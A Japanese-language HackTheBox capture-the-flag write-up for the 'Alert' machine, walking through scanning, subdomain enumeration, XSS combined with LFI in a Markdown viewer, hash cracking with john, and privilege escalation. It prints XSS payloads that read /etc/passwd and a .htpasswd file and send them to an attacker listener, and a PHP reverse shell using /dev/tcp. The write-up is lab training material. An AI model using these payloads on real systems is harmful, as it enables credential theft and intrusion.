HackTheBox Writeup：Alert

# はじめに
本記事はHackTheBoxのWriteupです。

Machineは、Alertです。

Alertでは、XSSの脆弱性について学びます。

## スキャニング
はじめにポートスキャンを実行します。

以下では事前に用意したシェルを介してポートスキャンを実行しています。

```
##################
# Port scan tool #
##################
 *Detailed scan :1
 *Full scan     :2


 ***Select scanning method by number***
1
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-15 23:02 JST
Nmap scan report for alert.htb (10.10.11.44)
Host is up (0.25s latency).

PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 7e:46:2c:46:6e:e6:d1:eb:2d:9d:34:25:e6:36:14:a7 (RSA)
|   256 45:7b:20:95:ec:17:c5:b4:d8:86:50:81:e0:8c:e8:b8 (ECDSA)
|_  256 cb:92:ad:6b:fc:c8:8e:5e:9f:8c:a2:69:1b:6d:d0:f7 (ED25519)
80/tcp    open     http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-title: Alert - Markdown Viewer
|_Requested resource was index.php?page=alert
12227/tcp filtered unknown
13555/tcp closed   unknown
49084/tcp closed   unknown
64073/tcp closed   unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.87 seconds
Scan completed


```

上記ポートスキャンの結果を基に調査を行います。

## 列挙
ポートスキャンの結果を踏まえて、hostsファイルを編集後alert.htbにアクセスすると、以下の様な画面が表示されます。

![スクリーンショット 2024-12-15 23.10.36.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221759/0016b2b5-f865-d3c8-5c90-7972b4f91856.png)

### サブドメイン
ffuwを用いてサブドメインの列挙を行います。

レスポンス結果を踏まえて、レスポンスサイズの値に規則性はないため、-fcオプションを使用してステータスコードの301を除外します。

`$ ffuf -w ~/tool/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u http://alert.htb/ -H "Host: FUZZ.alert.htb" -c -fc 301`

```

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://alert.htb/
 :: Wordlist         : FUZZ: /home/kali/tool/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.alert.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response status: 301
________________________________________________

statistics              [Status: 401, Size: 467, Words: 42, Lines: 15, Duration: 250ms]
:: Progress: [4989/4989] :: Job [1/1] :: 159 req/sec :: Duration: [0:00:36] :: Errors: 0 ::

```

statisticsのサブドメインを検出したのでアクセスすると、認証が行われていることが確認できます。

![スクリーンショット 2024-12-15 23.11.02.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221759/60501c08-85ee-24df-4a7a-f70d1516ecd7.png)

## 脆弱性分析
足場を作るにあたって利用可能な脆弱性を探します。

トップページの「Markdown Viewer」を調査した結果、XSSとLFIの脆弱性を発見しました。例として、`/etc/passwd`を読み取る場合は、以下の様な`.md`ファイルを用意します。

```
<script> 
fetch("http://alert.htb/messages.php?file=../../../../../../../etc/passwd") 
  .then(response => response.text()) 
  .then(data => { 
    fetch("http://<Ip address>:4444/?file_content=" + encodeURIComponent(data)); 
  }); 
</script>
```

用意した`.md`ファイルをアップロードします。

![スクリーンショット 2024-12-15 23.16.58.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221759/ebae3414-b2be-da0b-64b4-10664c68e340.png)

画面右下の「Share Markdown」を押します。

![スクリーンショット 2024-12-15 23.17.56.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221759/bf9c2fd1-f0f2-320d-a1e6-e641249455b2.png)

URLをコピーして控えます。

![スクリーンショット 2024-12-15 23.22.55.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221759/91e4dfc2-4a49-2153-db73-9cde2799225a.png)

「Cotact Us」でコピーしたURLを入力して送信します。

![スクリーンショット 2024-12-15 23.23.39.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221759/256400a0-7f75-4641-f467-703c912a4c9c.png)

「Cotact Us」で送信後リクエストが発生すると、以下の様なレスポンスが取得できます。

```
listening on [any] 4444 ...
connect to [REDACTED] from alert.htb [10.10.11.44] 47702
GET /?file_content=%3Cpre%3Eroot%3Ax%3A0%3A0%3Aroot%3A%2Froot%3A%2Fbin%2Fbash%0Adaemon%3Ax%3A1%3A1%3Adaemon%3A%2Fusr%2Fsbin%3A%2Fusr%2Fsbin%2Fnologin%0Abin%3Ax%3A2%3A2%3Abin%3A%2Fbin%3A%2Fusr%2Fsbin%2Fnologin%0Asys%3Ax%3A3%3A3%3Asys%3A%2Fdev%3A%2Fusr%2Fsbin%2Fnologin%0Async%3Ax%3A4%3A65534%3Async%3A%2Fbin%3A%2Fbin%2Fsync%0Agames%3Ax%3A5%3A60%3Agames%3A%2Fusr%2Fgames%3A%2Fusr%2Fsbin%2Fnologin%0Aman%3Ax%3A6%3A12%3Aman%3A%2Fvar%2Fcache%2Fman%3A%2Fusr%2Fsbin%2Fnologin%0Alp%3Ax%3A7%3A7%3Alp%3A%2Fvar%2Fspool%2Flpd%3A%2Fusr%2Fsbin%2Fnologin%0Amail%3Ax%3A8%3A8%3Amail%3A%2Fvar%2Fmail%3A%2Fusr%2Fsbin%2Fnologin%0Anews%3Ax%3A9%3A9%3Anews%3A%2Fvar%2Fspool%2Fnews%3A%2Fusr%2Fsbin%2Fnologin%0Auucp%3Ax%3A10%3A10%3Auucp%3A%2Fvar%2Fspool%2Fuucp%3A%2Fusr%2Fsbin%2Fnologin%0Aproxy%3Ax%3A13%3A13%3Aproxy%3A%2Fbin%3A%2Fusr%2Fsbin%2Fnologin%0Awww-data%3Ax%3A33%3A33%3Awww-data%3A%2Fvar%2Fwww%3A%2Fusr%2Fsbin%2Fnologin%0Abackup%3Ax%3A34%3A34%3Abackup%3A%2Fvar%2Fbackups%3A%2Fusr%2Fsbin%2Fnologin%0Alist%3Ax%3A38%3A38%3AMailing%20List%20Manager%3A%2Fvar%2Flist%3A%2Fusr%2Fsbin%2Fnologin%0Airc%3Ax%3A39%3A39%3Aircd%3A%2Fvar%2Frun%2Fircd%3A%2Fusr%2Fsbin%2Fnologin%0Agnats%3Ax%3A41%3A41%3AGnats%20Bug-Reporting%20System%20(admin)%3A%2Fvar%2Flib%2Fgnats%3A%2Fusr%2Fsbin%2Fnologin%0Anobody%3Ax%3A65534%3A65534%3Anobody%3A%2Fnonexistent%3A%2Fusr%2Fsbin%2Fnologin%0Asystemd-network%3Ax%3A100%3A102%3Asystemd%20Network%20Management%2C%2C%2C%3A%2Frun%2Fsystemd%3A%2Fusr%2Fsbin%2Fnologin%0Asystemd-resolve%3Ax%3A101%3A103%3Asystemd%20Resolver%2C%2C%2C%3A%2Frun%2Fsystemd%3A%2Fusr%2Fsbin%2Fnologin%0Asystemd-timesync%3Ax%3A102%3A104%3Asystemd%20Time%20Synchronization%2C%2C%2C%3A%2Frun%2Fsystemd%3A%2Fusr%2Fsbin%2Fnologin%0Amessagebus%3Ax%3A103%3A106%3A%3A%2Fnonexistent%3A%2Fusr%2Fsbin%2Fnologin%0Asyslog%3Ax%3A104%3A110%3A%3A%2Fhome%2Fsyslog%3A%2Fusr%2Fsbin%2Fnologin%0A_apt%3Ax%3A105%3A65534%3A%3A%2Fnonexistent%3A%2Fusr%2Fsbin%2Fnologin%0Atss%3Ax%3A106%3A111%3ATPM%20software%20stack%2C%2C%2C%3A%2Fvar%2Flib%2Ftpm%3A%2Fbin%2Ffalse%0Auuidd%3Ax%3A107%3A112%3A%3A%2Frun%2Fuuidd%3A%2Fusr%2Fsbin%2Fnologin%0Atcpdump%3Ax%3A108%3A113%3A%3A%2Fnonexistent%3A%2Fusr%2Fsbin%2Fnologin%0Alandscape%3Ax%3A109%3A115%3A%3A%2Fvar%2Flib%2Flandscape%3A%2Fusr%2Fsbin%2Fnologin%0Apollinate%3Ax%3A110%3A1%3A%3A%2Fvar%2Fcache%2Fpollinate%3A%2Fbin%2Ffalse%0Afwupd-refresh%3Ax%3A111%3A116%3Afwupd-refresh%20user%2C%2C%2C%3A%2Frun%2Fsystemd%3A%2Fusr%2Fsbin%2Fnologin%0Ausbmux%3Ax%3A112%3A46%3Ausbmux%20daemon%2C%2C%2C%3A%2Fvar%2Flib%2Fusbmux%3A%2Fusr%2Fsbin%2Fnologin%0Asshd%3Ax%3A113%3A65534%3A%3A%2Frun%2Fsshd%3A%2Fusr%2Fsbin%2Fnologin%0Asystemd-coredump%3Ax%3A999%3A999%3Asystemd%20Core%20Dumper%3A%2F%3A%2Fusr%2Fsbin%2Fnologin%0Aalbert%3Ax%3A1000%3A1000%3Aalbert%3A%2Fhome%2Falbert%3A%2Fbin%2Fbash%0Alxd%3Ax%3A998%3A100%3A%3A%2Fvar%2Fsnap%2Flxd%2Fcommon%2Flxd%3A%2Fbin%2Ffalse%0Adavid%3Ax%3A1001%3A1002%3A%2C%2C%2C%3A%2Fhome%2Fdavid%3A%2Fbin%2Fbash%0A%3C%2Fpre%3E%0A HTTP/1.1
Host: <REDACTED>:4444
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/122.0.6261.111 Safari/537.36
Accept: */*
Origin: http://alert.htb
Referer: http://alert.htb/
Accept-Encoding: gzip, deflate
```

URLエンコードで符号化されているため、デコードすると中身を確認できます。

```
<pre>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
fwupd-refresh:x:111:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
albert:x:1000:1000:albert:/home/albert:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
david:x:1001:1002:,,,:/home/david:/bin/bash
</pre>
```

ユーザー名について確認できました。

## システムハッキング
これまでに確認できたXSSとLFIの脆弱性を利用して足場を作ります。

### アクセスの獲得
事前にリスナーを用意します。

先ほどと同じ様に`.htpasswd`ファイルにアクセスするための`.md`ファイルを用意して「Cotact Us」から送信します。

```console
<script> 
fetch("http://alert.htb/messages.php?file=../../../../../../../var/www/statistics.alert.htb/.htpasswd") 
  .then(response => response.text()) 
  .then(data => { 
    fetch("http://<Ip address>:4444/?file_content=" + encodeURIComponent(data)); 
  }); 
</script>
```

リクエスト発生後、レスポンスを確認します。

```
listening on [any] 4444 ...
connect to [REDACTED] from alert.htb [10.10.11.44] 40880
GET /?file_content=%3Cpre%3Ealbert%3A%24apr1%24bMoRBJOg%24igG8WBtQ1xYDTQdLjSWZQ%2F%0A%3C%2Fpre%3E%0A HTTP/1.1
Host: <REDACTED>:4444
Connection: keep-alive
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/122.0.6261.111 Safari/537.36
Accept: */*
Origin: http://alert.htb
Referer: http://alert.htb/
Accept-Encoding: gzip, deflate

```

デコードすると、以下の様な文字列を取得できました。`$apr1$`で始まるこの形式の暗号は、ApacheのMD5ベースの暗号化形式（APR1-MD5）であることが分かります。

APR1-MD5は、Apache HTTP Serverで使用されるパスワードのハッシュ形式の一つであり、`.htpasswd`ファイルでの認証に使われています。

```
<pre>albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/
</pre>
```

johnなどを実行して復号します。

`$ john --format=md5crypt-long --wordlist=/usr/share/wordlists/rockyou.txt hash.txt`

上記コマンド実行後、パスワードが判明しました。

```
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt-long, crypt(3) $1$ (and variants) [MD5 32/64])
Will run 12 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
[REDACTED] (?)     
1g 0:00:00:00 DONE (2024-12-15 23:35) 33.33g/s 96000p/s 96000c/s 96000C/s meagan..soccer9
Warning: passwords printed above might not be all those cracked
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 
```

ログインすると、以下の様なダッシュボードの画面が確認できます。

![スクリーンショット 2024-12-15 23.37.19.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221759/b4b45d33-0a13-6f10-af6e-ee2620b4995c.png)

### ユーザーフラグ
albertユーザーと解析したパスワードを用いて、SSHログインを行います。

```
ssh albert@10.10.11.44 
albert@10.10.11.44's password: 
```

ログイン後、ユーザーフラグが確認できます。

```
total 3064
drwxr-x--- 4 albert albert    4096 Dec 15 09:24 ./
drwxr-xr-x 4 root   root      4096 Oct 12 02:21 ../
lrwxrwxrwx 1 albert albert       9 Mar 16  2024 .bash_history -> /dev/null
-rw-r--r-- 1 albert albert     220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 albert albert    3771 Feb 25  2020 .bashrc
drwx------ 2 albert albert    4096 Mar  8  2024 .cache/
drwxrwxr-x 3 albert albert    4096 Dec 15 09:24 .local/
-rw-r--r-- 1 albert albert     807 Feb 25  2020 .profile
-rwxrwxr-x 1 albert albert 3104768 Sep 22 16:40 pspy64*
-rw-r----- 1 root   albert      33 Dec 15 03:56 user.txt
```

### ルートフラグ
`ps`コマンドでプロセスを確認すると、ルートユーザーで実行している興味深いプロセスが見つかります。

また、当該プロセスは、ドキュメントルートとして`/opt/website-monitor/`ディレクトリを指定し、phpで動作しています。

```
root        1003  0.0  0.6 206768 24004 ?        Ss   03:56   0:01 /usr/bin/php -S 127.0.0.1:8080 -t /opt/website-monitor
```

ローカルでリッスンしているため、ポートフォワーディングを行ないローカルポート経由でアクセスします。

![スクリーンショット 2024-12-15 23.53.10.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/221759/e6f4542a-93ec-9d3c-8483-fa56f23b3857.png)

Websiteをモニタリングしているだけで、特に目ぼしい情報は見つかりません。引き続き調査を行い`/opt/website-monitor/`ディレクトリを確認すると、`config/`ディレクトリのみmanagementグループであることが分かります。

```
total 96
drwxrwxr-x 7 root root        4096 Oct 12 01:07 ./
drwxr-xr-x 4 root root        4096 Oct 12 00:58 ../
drwxrwxr-x 2 root management  4096 Dec 15 14:52 config/
drwxrwxr-x 8 root root        4096 Oct 12 00:58 .git/
drwxrwxr-x 2 root root        4096 Oct 12 00:58 incidents/
-rwxrwxr-x 1 root root        5323 Oct 12 01:00 index.php*
-rwxrwxr-x 1 root root        1068 Oct 12 00:58 LICENSE*
-rwxrwxr-x 1 root root        1452 Oct 12 01:00 monitor.php*
drwxrwxrwx 2 root root        4096 Oct 12 01:07 monitors/
-rwxrwxr-x 1 root root         104 Oct 12 01:07 monitors.json*
-rwxrwxr-x 1 root root       40849 Oct 12 00:58 Parsedown.php*
-rwxrwxr-x 1 root root        1657 Oct 12 00:58 README.md*
-rwxrwxr-x 1 root root        1918 Oct 12 00:58 style.css*
drwxrwxr-x 2 root root        4096 Oct 12 00:58 updates/
```

albertユーザーは、サブグループとしてmanagementグループに所属しています。

```
uid=1000(albert) gid=1000(albert) groups=1000(albert),1001(management)
```

managementグループは、`config`ディレクトリに対して書き込み権限が付与されているため、以下の様なリバースシェルを用意します。

```php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/<Ip address>/4444 0>&1'");?>
```

ローカルポート経由で用意したシェルにアクセスすると、リバースシェルが取得できます。

```
listening on [any] 4444 ...
connect to [REDACTED] from alert.htb [10.10.11.44] 34838
bash: cannot set terminal process group (1003): Inappropriate ioctl for device
bash: no job control in this shell
root@alert:/opt/website-monitor/config# id
id
uid=0(root) gid=0(root) groups=0(root)
```

# おわりに
ユーザーフラグの取得は、創造性を必要とするMachineでした。